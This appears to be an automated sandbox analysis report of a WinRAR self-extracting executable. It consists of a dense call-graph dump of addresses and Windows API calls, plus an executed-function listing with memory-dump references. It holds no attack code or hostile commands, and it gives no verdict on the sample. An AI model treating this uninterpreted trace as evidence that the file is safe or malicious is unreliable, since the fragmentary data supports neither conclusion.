2 library calls 24093->24179 24097 efe5d0 24096->24097 24180 efed5b IsProcessorFeaturePresent 24097->24180 24099 efe5dc 24181 f02016 24099->24181 24101 efe5e1 24102 efe5e5 24101->24102 24190 f080d7 24101->24190 24102->24073 24105 efe5fc 24105->24073 24108 f08264 24107->24108 24109 efec4a TranslatorGuardHandler 5 API calls 24108->24109 24110 efeb27 24109->24110 24110->24079 24111 f081f1 24110->24111 24114 f08220 24111->24114 24112 efec4a TranslatorGuardHandler 5 API calls 24113 f08249 24112->24113 24113->24082 24114->24112 24240 eff350 24115->24240 24118 efebb3 24119 f0819e 24118->24119 24242 f0b290 24119->24242 24121 f081a7 24123 efebbc 24121->24123 24246 f0b59a 38 API calls 24121->24246 24124 efd5d4 24123->24124 24381 ef00cf 24124->24381 24128 efd5f3 24430 efa335 24128->24430 24130 efd5fc 24434 ef13b3 GetCPInfo 24130->24434 24132 efd606 ___scrt_fastfail 24133 efd619 GetCommandLineW 24132->24133 24134 efd628 24133->24134 24135 efd6a6 GetModuleFileNameW SetEnvironmentVariableW GetLocalTime 24133->24135 24437 efbc84 24134->24437 24136 ee400a _swprintf 51 API calls 24135->24136 24138 efd70d SetEnvironmentVariableW GetModuleHandleW LoadIconW 24136->24138 24448 efaded LoadBitmapW 24138->24448 24141 efd636 OpenFileMappingW 24145 efd64f MapViewOfFile 24141->24145 24146 efd696 CloseHandle 24141->24146 24142 efd6a0 24442 efd287 24142->24442 24148 efd68d UnmapViewOfFile 24145->24148 24149 efd660 __vsnwprintf_l 24145->24149 24146->24135 24148->24146 24153 efd287 2 API calls 24149->24153 24155 efd67c 24153->24155 24154 ef8835 8 API calls 24156 efd76a DialogBoxParamW 24154->24156 24155->24148 24157 efd7a4 24156->24157 24158 efd7b6 Sleep 24157->24158 24159 efd7bd 24157->24159 24158->24159 24162 efd7cb 24159->24162 24478 efa544 CompareStringW SetCurrentDirectoryW ___scrt_fastfail 24159->24478 24161 efd7ea DeleteObject 24163 efd7ff DeleteObject 24161->24163 24164 efd806 24161->24164 24162->24161 24163->24164 24165 efd849 24164->24165 24166 efd837 24164->24166 24475 efa39d 24165->24475 24479 efd2e6 6 API calls 24166->24479 24168 efd83d CloseHandle 24168->24165 24170 efd883 24171 f0757e GetModuleHandleW 24170->24171 24172 efebcf 24171->24172 24172->24091 24173 f076a7 24172->24173 24615 f07424 24173->24615 24176->24073 24177->24080 24178->24093 24179->24079 24180->24099 24182 f0201b ___vcrt_initialize_pure_virtual_call_handler ___vcrt_initialize_winapi_thunks 24181->24182 24194 f0310e 24182->24194 24185 f02029 24185->24101 24187 f02031 24188 f0203c 24187->24188 24208 f0314a DeleteCriticalSection 24187->24208 24188->24101 24236 f0b73a 24190->24236 24193 f0203f 8 API calls 3 library calls 24193->24102 24195 f03117 24194->24195 24197 f03140 24195->24197 24198 f02025 24195->24198 24209 f03385 24195->24209 24214 f0314a DeleteCriticalSection 24197->24214 24198->24185 24200 f0215c 24198->24200 24229 f0329a 24200->24229 24202 f02166 24207 f02171 24202->24207 24234 f03348 6 API calls try_get_function 24202->24234 24204 f0217f 24205 f0218c 24204->24205 24235 f0218f 6 API calls ___vcrt_FlsFree 24204->24235 24205->24187 24207->24187 24208->24185 24215 f03179 24209->24215 24212 f033bc InitializeCriticalSectionAndSpinCount 24213 f033a8 24212->24213 24213->24195 24214->24198 24216 f031ad 24215->24216 24219 f031a9 24215->24219 24216->24212 24216->24213 24217 f031cd 24217->24216 24220 f031d9 GetProcAddress 24217->24220 24219->24216 24219->24217 24222 f03219 24219->24222 24221 f031e9 __crt_fast_encode_pointer 24220->24221 24221->24216 24223 f03241 LoadLibraryExW 24222->24223 24224 f03236 24222->24224 24225 f0325d GetLastError 24223->24225 24228 f03275 24223->24228 24224->24219 24226 f03268 LoadLibraryExW 24225->24226 24225->24228 24226->24228 24227 f0328c FreeLibrary 24227->24224 24228->24224 24228->24227 24230 f03179 try_get_function 5 API calls 24229->24230 24231 f032b4 24230->24231 24232 f032cc TlsAlloc 24231->24232 24233 f032bd 24231->24233 24233->24202 24234->24204 24235->24207 24239 f0b753 24236->24239 24237 efec4a TranslatorGuardHandler 5 API calls 24238 efe5ee 24237->24238 24238->24105 24238->24193 24239->24237 24241 eff033 GetStartupInfoW 24240->24241 24241->24118 24243 f0b299 24242->24243 24244 f0b2a2 24242->24244 24247 f0b188 24243->24247 24244->24121 24246->24121 24248 f08fa5 pre_c_initialization 38 API calls 24247->24248 24249 f0b195 24248->24249 24267 f0b2ae 24249->24267 24251 f0b19d 24276 f0af1b 24251->24276 24254 f0b1b4 24254->24244 24255 f08518 __onexit 21 API calls 24256 f0b1c5 24255->24256 24257 f0b1f7 24256->24257 24283 f0b350 24256->24283 24259 f084de _free 20 API calls 24257->24259 24259->24254 24261 f0b1f2 24293 f0895a 20 API calls __dosmaperr 24261->24293 24263 f0b23b 24263->24257 24294 f0adf1 26 API calls 24263->24294 24264 f0b20f 24264->24263 24265 f084de _free 20 API calls 24264->24265 24265->24263 24268 f0b2ba CallCatchBlock 24267->24268 24269 f08fa5 pre_c_initialization 38 API calls 24268->24269 24274 f0b2c4 24269->24274 24271 f0b348 CallCatchBlock 24271->24251 24274->24271 24275 f084de _free 20 API calls 24274->24275 24295 f08566 38 API calls _abort 24274->24295 24296 f0a3f1 EnterCriticalSection 24274->24296 24297 f0b33f LeaveCriticalSection _abort 24274->24297 24275->24274 24277 f03dd6 __fassign 38 API calls 24276->24277 24278 f0af2d 24277->24278 24279 f0af3c GetOEMCP 24278->24279 24280 f0af4e 24278->24280 24281 f0af65 24279->24281 24280->24281 24282 f0af53 GetACP 24280->24282 24281->24254 24281->24255 24282->24281 24284 f0af1b 40 API calls 24283->24284 24285 f0b36f 24284->24285 24288 f0b3c0 IsValidCodePage 24285->24288 24290 f0b376 24285->24290 24292 f0b3e5 ___scrt_fastfail 24285->24292 24286 efec4a TranslatorGuardHandler 5 API calls 24287 f0b1ea 24286->24287 24287->24261 24287->24264 24289 f0b3d2 GetCPInfo 24288->24289 24288->24290 24289->24290 24289->24292 24290->24286 24298 f0aff4 GetCPInfo 24292->24298 24293->24257 24294->24257 24296->24274 24297->24274 24304 f0b02e 24298->24304 24307 f0b0d8 24298->24307 24301 efec4a TranslatorGuardHandler 5 API calls 24303 f0b184 24301->24303 24303->24290 24308 f0c099 24304->24308 24306 f0a275 __vswprintf_c_l 43 API calls 24306->24307 24307->24301 24309 f03dd6 __fassign 38 API calls 24308->24309 24310 f0c0b9 MultiByteToWideChar 24309->24310 24312 f0c0f7 24310->24312 24320 f0c18f 24310->24320 24314 f08518 __onexit 21 API calls 24312->24314 24317 f0c118 __vsnwprintf_l ___scrt_fastfail 24312->24317 24313 efec4a TranslatorGuardHandler 5 API calls 24315 f0b08f 24313->24315 24314->24317 24322 f0a275 24315->24322 24316 f0c189 24327 f0a2c0 20 API calls _free 24316->24327 24317->24316 24319 f0c15d MultiByteToWideChar 24317->24319 24319->24316 24321 f0c179 GetStringTypeW 24319->24321 24320->24313 24321->24316 24323 f03dd6 __fassign 38 API calls 24322->24323 24324 f0a288 24323->24324 24328 f0a058 24324->24328 24327->24320 24330 f0a073 __vswprintf_c_l 24328->24330 24329 f0a099 MultiByteToWideChar 24331 f0a24d 24329->24331 24332 f0a0c3 24329->24332 24330->24329 24333 efec4a TranslatorGuardHandler 5 API calls 24331->24333 24337 f08518 __onexit 21 API calls 24332->24337 24339 f0a0e4 __vsnwprintf_l 24332->24339 24334 f0a260 24333->24334 24334->24306 24335 f0a199 24364 f0a2c0 20 API calls _free 24335->24364 24336 f0a12d MultiByteToWideChar 24336->24335 24338 f0a146 24336->24338 24337->24339 24355 f0a72c 24338->24355 24339->24335 24339->24336 24343 f0a170 24343->24335 24347 f0a72c __vswprintf_c_l 11 API calls 24343->24347 24344 f0a1a8 24345 f08518 __onexit 21 API calls 24344->24345 24349 f0a1c9 __vsnwprintf_l 24344->24349 24345->24349 24346 f0a23e 24363 f0a2c0 20 API calls _free 24346->24363 24347->24335 24349->24346 24350 f0a72c __vswprintf_c_l 11 API calls 24349->24350 24351 f0a21d 24350->24351 24351->24346 24352 f0a22c WideCharToMultiByte 24351->24352 24352->24346 24353 f0a26c 24352->24353 24365 f0a2c0 20 API calls _free 24353->24365 24366 f0a458 24355->24366 24359 f0a75c 24361 efec4a TranslatorGuardHandler 5 API calls 24359->24361 24360 f0a79c LCMapStringW 24360->24359 24362 f0a15d 24361->24362 24362->24335 24362->24343 24362->24344 24363->24335 24364->24331 24365->24335 24367 f0a488 24366->24367 24368 f0a484 24366->24368 24367->24359 24373 f0a7b4 10 API calls 3 library calls 24367->24373 24368->24367 24369 f0a4a8 24368->24369 24374 f0a4f4 24368->24374 24369->24367 24371 f0a4b4 GetProcAddress 24369->24371 24372 f0a4c4 __crt_fast_encode_pointer 24371->24372 24372->24367 24373->24360 24375 f0a515 LoadLibraryExW 24374->24375 24376 f0a50a 24374->24376 24377 f0a532 GetLastError 24375->24377 24378 f0a54a 24375->24378 24376->24368 24377->24378 24379 f0a53d LoadLibraryExW 24377->24379 24378->24376 24380 f0a561 FreeLibrary 24378->24380 24379->24378 24380->24376 24382 efe360 24381->24382 24383 ef00d9 GetModuleHandleW 24382->24383 24384 ef0154 24383->24384 24385 ef00f0 GetProcAddress 24383->24385 24386 ef0484 GetModuleFileNameW 24384->24386 24489 f070dd 42 API calls __vsnwprintf_l 24384->24489 24387 ef0109 24385->24387 24388 ef0121 GetProcAddress 24385->24388 24393 ef04a3 24386->24393 24387->24388 24388->24384 24390 ef0133 24388->24390 24390->24384 24391 ef03be 24391->24386 24392 ef03c9 GetModuleFileNameW CreateFileW 24391->24392 24394 ef03fc SetFilePointer 24392->24394 24395 ef0478 CloseHandle 24392->24395 24400 ef04d2 CompareStringW 24393->24400 24402 ef0508 GetFileAttributesW 24393->24402 24403 ef0520 24393->24403 24480 eeacf5 24393->24480 24483 ef0085 24393->24483 24394->24395 24396 ef040c ReadFile 24394->24396 24395->24386 24396->24395 24398 ef042b 24396->24398 24398->24395 24401 ef0085 2 API calls 24398->24401 24400->24393 24401->24398 24402->24393 24402->24403 24404 ef052a 24403->24404 24406 ef0560 24403->24406 24407 ef0542 GetFileAttributesW 24404->24407 24409 ef055a 24404->24409 24405 ef066f 24429 ef9da4 GetCurrentDirectoryW 24405->24429 24406->24405 24408 eeacf5 GetVersionExW 24406->24408 24407->24404 24407->24409 24410 ef057a 24408->24410 24409->24406 24411 ef05e7 24410->24411 24412 ef0581 24410->24412 24413 ee400a _swprintf 51 API calls 24411->24413 24414 ef0085 2 API calls 24412->24414 24415 ef060f AllocConsole 24413->24415 24416 ef058b 24414->24416 24417 ef061c GetCurrentProcessId AttachConsole 24415->24417 24418 ef0667 ExitProcess 24415->24418 24419 ef0085 2 API calls 24416->24419 24490 f035b3 24417->24490 24421 ef0595 24419->24421 24423 eeddd1 53 API calls 24421->24423 24422 ef063d GetStdHandle WriteConsoleW Sleep FreeConsole 24422->24418 24424 ef05b0 24423->24424 24425 ee400a _swprintf 51 API calls 24424->24425 24426 ef05c3 24425->24426 24427 eeddd1 53 API calls 24426->24427 24428 ef05d2 24427->24428 24428->24418 24429->24128 24431 ef0085 2 API calls 24430->24431 24432 efa349 OleInitialize 24431->24432 24433 efa36c GdiplusStartup SHGetMalloc 24432->24433 24433->24130 24435 ef13d7 IsDBCSLeadByte 24434->24435 24435->24435 24436 ef13ef 24435->24436 24436->24132 24440 efbc8e 24437->24440 24438 efbda4 24438->24141 24438->24142 24439 ef179d CharUpperW 24439->24440 24440->24438 24440->24439 24492 eeecad 80 API calls ___scrt_fastfail 24440->24492 24443 efe360 24442->24443 24444 efd294 SetEnvironmentVariableW 24443->24444 24446 efd2b7 24444->24446 24445 efd2df 24445->24135 24446->24445 24447 efd2d3 SetEnvironmentVariableW 24446->24447 24447->24445 24449 efae0e 24448->24449 24450 efae15 24448->24450 24493 ef9e1c FindResourceW 24449->24493 24452 efae1b GetObjectW 24450->24452 24453 efae2a 24450->24453 24452->24453 24454 ef9d1a 4 API calls 24453->24454 24457 efae3d 24454->24457 24455 efae80 24467 eed31c 24455->24467 24456 efae5c 24509 ef9d5a GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 24456->24509 24457->24455 24457->24456 24458 ef9e1c 13 API calls 24457->24458 24460 efae4d 24458->24460 24460->24456 24463 efae53 DeleteObject 24460->24463 24461 efae64 24510 ef9d39 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 24461->24510 24463->24456 24464 efae6d 24511 ef9f5d 8 API calls ___scrt_fastfail 24464->24511 24466 efae74 DeleteObject 24466->24455 24520 eed341 24467->24520 24469 eed328 24560 eeda4e GetModuleHandleW FindResourceW 24469->24560 24472 ef8835 24473 efe24a new 8 API calls 24472->24473 24474 ef8854 24473->24474 24474->24154 24476 efa3cc GdiplusShutdown CoUninitialize 24475->24476 24476->24170 24478->24162 24479->24168 24481 eead09 GetVersionExW 24480->24481 24482 eead45 24480->24482 24481->24482 24482->24393 24484 efe360 24483->24484 24485 ef0092 GetSystemDirectoryW 24484->24485 24486 ef00aa 24485->24486 24487 ef00c8 24485->24487 24488 ef00bb LoadLibraryW 24486->24488 24487->24393 24488->24487 24489->24391 24491 f035bb 24490->24491 24491->24422 24491->24491 24492->24440 24494 ef9e70 24493->24494 24495 ef9e3e SizeofResource 24493->24495 24494->24450 24495->24494 24496 ef9e52 LoadResource 24495->24496 24496->24494 24497 ef9e63 LockResource 24496->24497 24497->24494 24498 ef9e77 GlobalAlloc 24497->24498 24498->24494 24499 ef9e92 GlobalLock 24498->24499 24500 ef9f21 GlobalFree 24499->24500 24501 ef9ea1 __vsnwprintf_l 24499->24501 24500->24494 24502 ef9ea9 CreateStreamOnHGlobal 24501->24502 24503 ef9f1a GlobalUnlock 24502->24503 24504 ef9ec1 24502->24504 24503->24500 24512 ef9d7b GdipAlloc 24504->24512 24507 ef9eef GdipCreateHBITMAPFromBitmap 24508 ef9f05 24507->24508 24508->24503 24509->24461 24510->24464 24511->24466 24513 ef9d8d 24512->24513 24514 ef9d9a 24512->24514 24516 ef9b0f 24513->24516 24514->24503 24514->24507 24514->24508 24517 ef9b37 GdipCreateBitmapFromStream 24516->24517 24518 ef9b30 GdipCreateBitmapFromStreamICM 24516->24518 24519 ef9b3c 24517->24519 24518->24519 24519->24514 24521 eed34b _wcschr __EH_prolog 24520->24521 24522 eed37a GetModuleFileNameW 24521->24522 24523 eed3ab 24521->24523 24524 eed394 24522->24524 24562 ee99b0 24523->24562 24524->24523 24526 ee9653 79 API calls 24528 eed7ab 24526->24528 24527 eed407 24573 f05a90 26 API calls 3 library calls 24527->24573 24528->24469 24529 ef3781 76 API calls 24532 eed3db 24529->24532 24531 eed41a 24574 f05a90 26 API calls 3 library calls 24531->24574 24532->24527 24532->24529 24544 eed627 24532->24544 24534 eed563 24534->24544 24592 ee9d30 77 API calls 24534->24592 24538 eed57d ___std_exception_copy 24539 ee9bf0 80 API calls 24538->24539 24538->24544 24542 eed5a6 ___std_exception_copy 24539->24542 24541 eed42c 24541->24534 24541->24544 24575 ee9e40 24541->24575 24583 ee9bf0 24541->24583 24591 ee9d30 77 API calls 24541->24591 24542->24544 24551 eed5b2 ___std_exception_copy 24542->24551 24593 ef137a MultiByteToWideChar 24542->24593 24544->24526 24545 eed72b 24594 eece72 76 API calls 24545->24594 24547 eeda0a 24599 eece72 76 API calls 24547->24599 24549 eed9fa 24549->24469 24550 eed771 24595 f05a90 26 API calls 3 library calls 24550->24595 24551->24544 24551->24545 24551->24547 24551->24549 24557 ef1596 WideCharToMultiByte 24551->24557 24597 eedd6b 50 API calls __vsnprintf 24551->24597 24598 f058d9 26 API calls 3 library calls 24551->24598 24553 eed78b 24596 f05a90 26 API calls 3 library calls 24553->24596 24554 eed742 24554->24550 24556 ef3781 76 API calls 24554->24556 24556->24554 24557->24551 24561 eed32f 24560->24561 24561->24472 24563 ee99ba 24562->24563 24564 ee9a39 CreateFileW 24563->24564 24565 ee9aaa 24564->24565 24566 ee9a59 GetLastError 24564->24566 24568 ee9ae1 24565->24568 24570 ee9ac7 SetFileTime 24565->24570 24567 eeb66c 2 API calls 24566->24567 24569 ee9a79 24567->24569 24568->24532 24569->24565 24571 ee9a7d CreateFileW GetLastError 24569->24571 24570->24568 24572 ee9aa1 24571->24572 24572->24565 24573->24531 24574->24541 24576 ee9e64 SetFilePointer 24575->24576 24577 ee9e53 24575->24577 24578 ee9e9d 24576->24578 24579 ee9e82 GetLastError 24576->24579 24577->24578 24600 ee6fa5 75 API calls 24577->24600 24578->24541 24579->24578 24581 ee9e8c 24579->24581 24581->24578 24601 ee6fa5 75 API calls 24581->24601 24585 ee9bfc 24583->24585 24588 ee9c03 24583->24588 24585->24541 24586 ee9c9e 24586->24585 24614 ee6f6b 75 API calls 24586->24614 24588->24585 24588->24586 24589 ee9cc0 24588->24589 24602 ee984e 24588->24602 24589->24585 24590 ee984e 5 API calls 24589->24590 24590->24589 24591->24541 24592->24538 24593->24551 24594->24554 24595->24553 24596->24544 24597->24551 24598->24551 24599->24549 24600->24576 24601->24578 24603 ee985c GetStdHandle 24602->24603 24604 ee9867 ReadFile 24602->24604 24603->24604 24605 ee9880 24604->24605 24610 ee98a0 24604->24610 24606 ee9989 GetFileType 24605->24606 24607 ee9887 24606->24607 24608 ee98a8 GetLastError 24607->24608 24609 ee9895 24607->24609 24611 ee98b7 24607->24611 24608->24610 24608->24611 24613 ee984e GetFileType 24609->24613 24610->24588 24611->24610 24612 ee98c7 GetLastError 24611->24612 24612->24609 24612->24610 24613->24610 24614->24585 24616 f07430 CallUnexpected 24615->24616 24617 f07448 24616->24617 24618 f0757e _abort GetModuleHandleW 24616->24618 24637 f0a3f1 EnterCriticalSection 24617->24637 24620 f0743c 24618->24620 24620->24617 24649 f075c2 GetModuleHandleExW 24620->24649 24621 f074ee 24638 f0752e 24621->24638 24624 f074c5 24628 f074dd 24624->24628 24632 f081f1 _abort 5 API calls 24624->24632 24626 f07537 24658 f11a19 5 API calls TranslatorGuardHandler 24626->24658 24627 f0750b 24641 f0753d 24627->24641 24633 f081f1 _abort 5 API calls 24628->24633 24632->24628 24633->24621 24634 f07450 24634->24621 24634->24624 24657 f07f30 20 API calls _abort 24634->24657 24637->24634 24659 f0a441 LeaveCriticalSection 24638->24659 24640 f07507 24640->24626 24640->24627 24660 f0a836 24641->24660 24644 f0756b 24647 f075c2 _abort 8 API calls 24644->24647 24645 f0754b GetPEB 24645->24644 24646 f0755b GetCurrentProcess TerminateProcess 24645->24646 24646->24644 24648 f07573 ExitProcess 24647->24648 24650 f075ec GetProcAddress 24649->24650 24651 f0760f 24649->24651 24654 f07601 24650->24654 24652 f07615 FreeLibrary 24651->24652 24653 f0761e 24651->24653 24652->24653 24655 efec4a TranslatorGuardHandler 5 API calls 24653->24655 24654->24651 24656 f07628 24655->24656 24656->24617 24657->24624 24659->24640 24661 f0a85b 24660->24661 24665 f0a851 24660->24665 24662 f0a458 pre_c_initialization 5 API calls 24661->24662 24662->24665 24663 efec4a TranslatorGuardHandler 5 API calls 24664 f07547 24663->24664 24664->24644 24664->24645 24665->24663 24835 efacd0 100 API calls 24886 ef19d0 26 API calls std::bad_exception::bad_exception 24667 f090b0 24675 f0a56f 24667->24675 24670 f090c4 24672 f090cc 24673 f090d9 24672->24673 24683 f090e0 11 API calls 24672->24683 24676 f0a458 pre_c_initialization 5 API calls 24675->24676 24677 f0a596 24676->24677 24678 f0a5ae TlsAlloc 24677->24678 24679 f0a59f 24677->24679 24678->24679 24680 efec4a TranslatorGuardHandler 5 API calls 24679->24680 24681 f090ba 24680->24681 24681->24670 24682 f09029 20 API calls 3 library calls 24681->24682 24682->24672 24683->24670 24684 f0a3b0 24685 f0a3bb 24684->24685 24687 f0a3e4 24685->24687 24689 f0a3e0 24685->24689 24690 f0a6ca 24685->24690 24697 f0a410 DeleteCriticalSection 24687->24697 24691 f0a458 pre_c_initialization 5 API calls 24690->24691 24692 f0a6f1 24691->24692 24693 f0a70f InitializeCriticalSectionAndSpinCount 24692->24693 24695 f0a6fa 24692->24695 24693->24695 24694 efec4a TranslatorGuardHandler 5 API calls 24696 f0a726 24694->24696 24695->24694 24696->24685 24697->24689 24836 f01eb0 6 API calls 4 library calls 24713 f079b7 24714 f0b290 51 API calls 24713->24714 24715 f079c9 24714->24715 24724 f0b610 GetEnvironmentStringsW 24715->24724 24719 f084de _free 20 API calls 24720 f07a09 24719->24720 24721 f079df 24722 f084de _free 20 API calls 24721->24722 24723 f079d4 24722->24723 24723->24719 24725 f0b627 24724->24725 24735 f0b67a 24724->24735 24728 f0b62d WideCharToMultiByte 24725->24728 24726 f0b683 FreeEnvironmentStringsW 24727 f079ce 24726->24727 24727->24723 24736 f07a0f 26 API calls 4 library calls 24727->24736 24729 f0b649 24728->24729 24728->24735 24730 f08518 __onexit 21 API calls 24729->24730 24731 f0b64f 24730->24731 24732 f0b66c 24731->24732 24733 f0b656 WideCharToMultiByte 24731->24733 24734 f084de _free 20 API calls 24732->24734 24733->24732 24734->24735 24735->24726 24735->24727 24736->24721 24837 efe4a2 38 API calls 2 library calls 24838 f076bd 52 API calls 3 library calls 24839 ee96a0 79 API calls 24889 f0e9a0 51 API calls 24843 ee16b0 84 API calls 24891 f09b90 21 API calls 2 library calls 24892 f02397 48 API calls 24807 ee1385 82 API calls 3 library calls 24894 f05780 QueryPerformanceFrequency QueryPerformanceCounter 24846 efa89d 78 API calls 24847 eeea98 FreeLibrary 24816 efd997 24818 efd89b 24816->24818 24817 efdf59 ___delayLoadHelper2@8 19 API calls 24817->24818 24818->24817 24820 efd891 19 API calls ___delayLoadHelper2@8 24849 ef7090 114 API calls 24850 efcc90 70 API calls 24895 efa990 97 API calls 24896 ef9b90 GdipCloneImage GdipAlloc 24852 effc60 51 API calls 2 library calls 24855 f03460 RtlUnwind 24856 f09c60 71 API calls _free 24857 f09e60 31 API calls 2 library calls 24858 ef5c77 121 API calls __vsnwprintf_l 24860 ee1075 82 API calls pre_c_initialization 24024 efd573 24025 efd580 24024->24025 24026 eeddd1 53 API calls 24025->24026 24027 efd594 24026->24027 24028 ee400a _swprintf 51 API calls 24027->24028 24029 efd5a6 SetDlgItemTextW 24028->24029 24030 efac74 5 API calls 24029->24030 24031 efd5c3 24030->24031 24863 f08050 8 API calls ___vcrt_uninitialize 24899 efd34e DialogBoxParamW 24900 efbe49 98 API calls 3 library calls 24865 efec40 GetSystemTimeAsFileTime GetCurrentThreadId GetCurrentProcessId QueryPerformanceCounter ___security_init_cookie 24866 ef8c40 GetClientRect 24867 f03040 5 API calls 2 library calls 24868 f10040 IsProcessorFeaturePresent 24051 ee9b59 24052 ee9bd7 24051->24052 24055 ee9b63 24051->24055 24053 ee9bad SetFilePointer 24053->24052 24054 ee9bcd GetLastError 24053->24054 24054->24052 24055->24053 24901 ef9b50 GdipDisposeImage GdipFree ___InternalCxxFrameHandler 24699 ee9f2f 24700 ee9f44 24699->24700 24703 ee9f3d 24699->24703 24701 ee9f4a GetStdHandle 24700->24701 24709 ee9f55 24700->24709 24701->24709 24702 ee9fa9 WriteFile 24702->24709 24704 ee9f7c WriteFile 24705 ee9f7a 24704->24705 24704->24709 24705->24704 24705->24709 24707 eea031 24711 ee7061 75 API calls 24707->24711 24709->24702 24709->24703 24709->24704 24709->24705 24709->24707 24710 ee6e18 60 API calls 24709->24710 24710->24709 24711->24703 24870 ee1025 29 API calls pre_c_initialization 24907 efbe49 103 API calls 4 library calls 24871 efa430 73 API calls 24909 f0b710 GetProcessHeap 24742 efc40e 24743 efc4c7 24742->24743 24750 efc42c _wcschr 24742->24750 24744 efc4e5 24743->24744 24758 efbe49 _wcsrchr 24743->24758 24777 efce22 24743->24777 24747 efce22 18 API calls 24744->24747 24744->24758 24745 efaa36 ExpandEnvironmentStringsW 24745->24758 24747->24758 24748 efca8d 24750->24743 24751 ef17ac CompareStringW 24750->24751 24751->24750 24752 efc11d SetWindowTextW 24752->24758 24755 f035de 22 API calls 24755->24758 24757 efbf0b SetFileAttributesW 24759 efbfc5 GetFileAttributesW 24757->24759 24760 efbf25 ___scrt_fastfail 24757->24760 24758->24745 24758->24748 24758->24752 24758->24755 24758->24757 24764 efc2e7 GetDlgItem SetWindowTextW SendMessageW 24758->24764 24767 efc327 SendMessageW 24758->24767 24771 ef17ac CompareStringW 24758->24771 24772 ef9da4 GetCurrentDirectoryW 24758->24772 24774 eea52a 7 API calls 24758->24774 24775 eea4b3 FindClose 24758->24775 24776 efab9a 76 API calls ___std_exception_copy 24758->24776 24759->24758 24763 efbfd7 DeleteFileW 24759->24763 24760->24758 24760->24759 24773 eeb4f7 52 API calls 2 library calls 24760->24773 24763->24758 24765 efbfe8 24763->24765 24764->24758 24766 ee400a _swprintf 51 API calls 24765->24766 24768 efc008 GetFileAttributesW 24766->24768 24767->24758 24768->24765 24769 efc01d MoveFileW 24768->24769 24769->24758 24770 efc035 MoveFileExW 24769->24770 24770->24758 24771->24758 24772->24758 24773->24760 24774->24758 24775->24758 24776->24758 24780 efce2c ___scrt_fastfail 24777->24780 24778 efd08a 24778->24744 24779 efcf1b 24782 eea180 4 API calls 24779->24782 24780->24778 24780->24779 24800 ef17ac CompareStringW 24780->24800 24783 efcf30 24782->24783 24784 efcf4f ShellExecuteExW 24783->24784 24801 eeb239 GetFullPathNameW GetFullPathNameW GetCurrentDirectoryW CharUpperW 24783->24801 24784->24778 24791 efcf62 24784->24791 24786 efcf47 24786->24784 24787 efcf9b 24802 efd2e6 6 API calls 24787->24802 24788 efcff1 CloseHandle 24789 efcfff 24788->24789 24790 efd00a 24788->24790 24803 ef17ac CompareStringW 24789->24803 24790->24778 24796 efd081 ShowWindow 24790->24796 24791->24787 24791->24788 24794 efcf91 ShowWindow 24791->24794 24794->24787 24795 efcfb3 24795->24788 24797 efcfc6 GetExitCodeProcess 24795->24797 24796->24778 24797->24788 24798 efcfd9 24797->24798 24798->24788 24800->24779 24801->24786 24802->24795 24803->24790 24872 efec0b 28 API calls 2 library calls 24911 efdb0b 19 API calls ___delayLoadHelper2@8 24912 f0a918 27 API calls 3 library calls 24913 ee1f05 126 API calls __EH_prolog 24873 efea00 46 API calls 6 library calls 24914 efbe49 108 API calls 4 library calls 24915 ee6110 80 API calls

                  Executed Functions

                  Function 00EFD5D4 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 197filesleeptimeCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  APIs
                    • Part of subcall function 00EF00CF: GetModuleHandleW.KERNEL32(kernel32), ref: 00EF00E4
                    • Part of subcall function 00EF00CF: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00EF00F6
                    • Part of subcall function 00EF00CF: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00EF0127
                    • Part of subcall function 00EF9DA4: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00EF9DAC
                    • Part of subcall function 00EFA335: OleInitialize.OLE32(00000000), ref: 00EFA34E
                    • Part of subcall function 00EFA335: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00EFA385
                    • Part of subcall function 00EFA335: SHGetMalloc.SHELL32(00F28430), ref: 00EFA38F
                    • Part of subcall function 00EF13B3: GetCPInfo.KERNEL32(00000000,?), ref: 00EF13C4
                    • Part of subcall function 00EF13B3: IsDBCSLeadByte.KERNEL32(00000000), ref: 00EF13D8
                  • GetCommandLineW.KERNEL32 ref: 00EFD61C
                  • OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00EFD643
                  • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 00EFD654
                  • UnmapViewOfFile.KERNEL32(00000000), ref: 00EFD68E
                    • Part of subcall function 00EFD287: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00EFD29D
                    • Part of subcall function 00EFD287: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00EFD2D9
                  • CloseHandle.KERNEL32(00000000), ref: 00EFD697
                  • GetModuleFileNameW.KERNEL32(00000000,00F3DC90,00000800), ref: 00EFD6B2
                  • SetEnvironmentVariableW.KERNEL32(sfxname,00F3DC90), ref: 00EFD6BE
                  • GetLocalTime.KERNEL32(?), ref: 00EFD6C9
                  • _swprintf.LIBCMT ref: 00EFD708
                  • SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00EFD71A
                  • GetModuleHandleW.KERNEL32(00000000), ref: 00EFD721
                  • LoadIconW.USER32(00000000,00000064), ref: 00EFD738
                  • DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001AEE0,00000000), ref: 00EFD789
                  • Sleep.KERNEL32(?), ref: 00EFD7B7
                  • DeleteObject.GDI32 ref: 00EFD7F0
                  • DeleteObject.GDI32(?), ref: 00EFD800
                  • CloseHandle.KERNEL32 ref: 00EFD843
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
